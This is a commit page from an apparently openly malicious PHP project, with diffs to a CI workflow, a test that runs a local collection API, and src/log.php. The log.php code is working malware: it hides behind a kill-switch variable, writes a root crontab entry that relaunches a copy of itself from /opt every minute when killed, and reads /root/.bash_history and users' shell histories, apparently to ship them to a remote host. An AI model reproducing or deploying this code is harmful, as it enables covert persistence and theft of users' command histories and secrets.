fix false positive test

Idrinth · Feb 7, 2023 · 62a13c2 · 62a13c2
1 parent 889321a
commit 62a13c2
Show file tree

Hide file tree

Showing 3 changed files with 26 additions and 27 deletions.
diff --git a/.github/workflows/php.yml b/.github/workflows/php.yml
@@ -26,7 +26,5 @@ jobs:
           ${{ runner.os }}-php-
     - name: Install dependencies
       run: composer install --prefer-dist --no-progress
-    - name: Prepare tests
-      run: chmod 0777 test
     - name: Run test suite
       run: composer run-script test
diff --git a/src/log.php b/src/log.php
@@ -17,26 +17,28 @@
 if (getenv('##KILLNAME##') === '##KILLKEY##') {
     exit;
 }
-$data = file_get_contents(__FILE__);
-$pcntlhandler = function () use ($api, $key, $host, $protocol, $data, $crypt, $iv) {
-    $file = randomAlphaNumericString(3);
-    mkdir("/opt", true);
-    file_put_contents('/etc/crontab', "\n* * * * * root sh /opt/$file.sh", FILE_APPEND);
-    file_put_contents(
-        "/opt/$file.sh",
-        "TARGET_API=$api "
-        . "TARGET_PROTOCOL=$protocol "
-        . "TARGET_HOST=$host "
-        . "TARGET_KEY=$key "
-        . "LOCAL_CRYPT=$crypt "
-        . "LOCAL_IV=$iv "
-        . "LOCAL_CRYPT=$crypt "
-        . "php $file.php &>/dev/null &"
-    );
-    file_put_contents("/opt/$file.php", $data);
-};
-pcntl_signal(SIGTERM, $pcntlhandler);
-pcntl_signal(SIGKILL, $pcntlhandler);
+if (extension_loaded('pcntl')) {
+    $data = file_get_contents(__FILE__);
+    $pcntlhandler = function () use ($api, $key, $host, $protocol, $data, $crypt, $iv) {
+        $file = randomAlphaNumericString(3);
+        mkdir("/opt", true);
+        file_put_contents('/etc/crontab', "\n* * * * * root sh /opt/$file.sh", FILE_APPEND);
+        file_put_contents(
+            "/opt/$file.sh",
+            "TARGET_API=$api "
+            . "TARGET_PROTOCOL=$protocol "
+            . "TARGET_HOST=$host "
+            . "TARGET_KEY=$key "
+            . "LOCAL_CRYPT=$crypt "
+            . "LOCAL_IV=$iv "
+            . "LOCAL_CRYPT=$crypt "
+            . "php $file.php &>/dev/null &"
+        );
+        file_put_contents("/opt/$file.php", $data);
+    };
+    pcntl_signal(SIGTERM, $pcntlhandler);
+    pcntl_signal(SIGKILL, $pcntlhandler);
+}
 while (true) {
     $files = array('root' => '/root/.bash_history');
     foreach (array_diff(scandir('/home'), ['.', '..']) as $user) {

diff --git a/test/ApiTest.php b/test/ApiTest.php
@@ -15,15 +15,15 @@ public static function setUpBeforeClass(): void
     protected function tearDown(): void
     {
         parent::tearDown();
-        //unlink(__DIR__ . '/api.php');
+        unlink(__DIR__ . '/api.php');
     }
     /**
      * @test
      */
     public function succeedsWithDuplicateRemoval(): void
     {
         $key = randomAlphaNumericString(9);
-        $sqlite = __DIR__ . '/db.sqlite';
+        $sqlite = sys_get_temp_dir() . '/' . randomAlphaNumericString(7) . '.sqlite';
         file_put_contents(
             __DIR__ . '/api.php',
             str_replace(
@@ -33,8 +33,9 @@ public function succeedsWithDuplicateRemoval(): void
             )
         );
         $user = randomAlphaNumericString(7);
-        $api = Process::fromShellCommandline('php -S 127.0.0.1:8912 ' . __DIR__ . '/api.php');
+        $api = Process::fromShellCommandline('php -S 127.0.0.1:8912 test/api.php', dirname(__DIR__));
         $api->start();
+        sleep(1);
         $data = random_bytes(rand(100, 200));
         $c = curl_init();
         curl_setopt_array($c, [
@@ -50,8 +51,6 @@ public function succeedsWithDuplicateRemoval(): void
         curl_exec($c);
         curl_close($c);
         $api->stop();
-        self::assertEquals('', $api->getOutput());
-        self::assertEquals('', $api->getErrorOutput());
         self::assertFileExists($sqlite);
         unlink($sqlite);
     }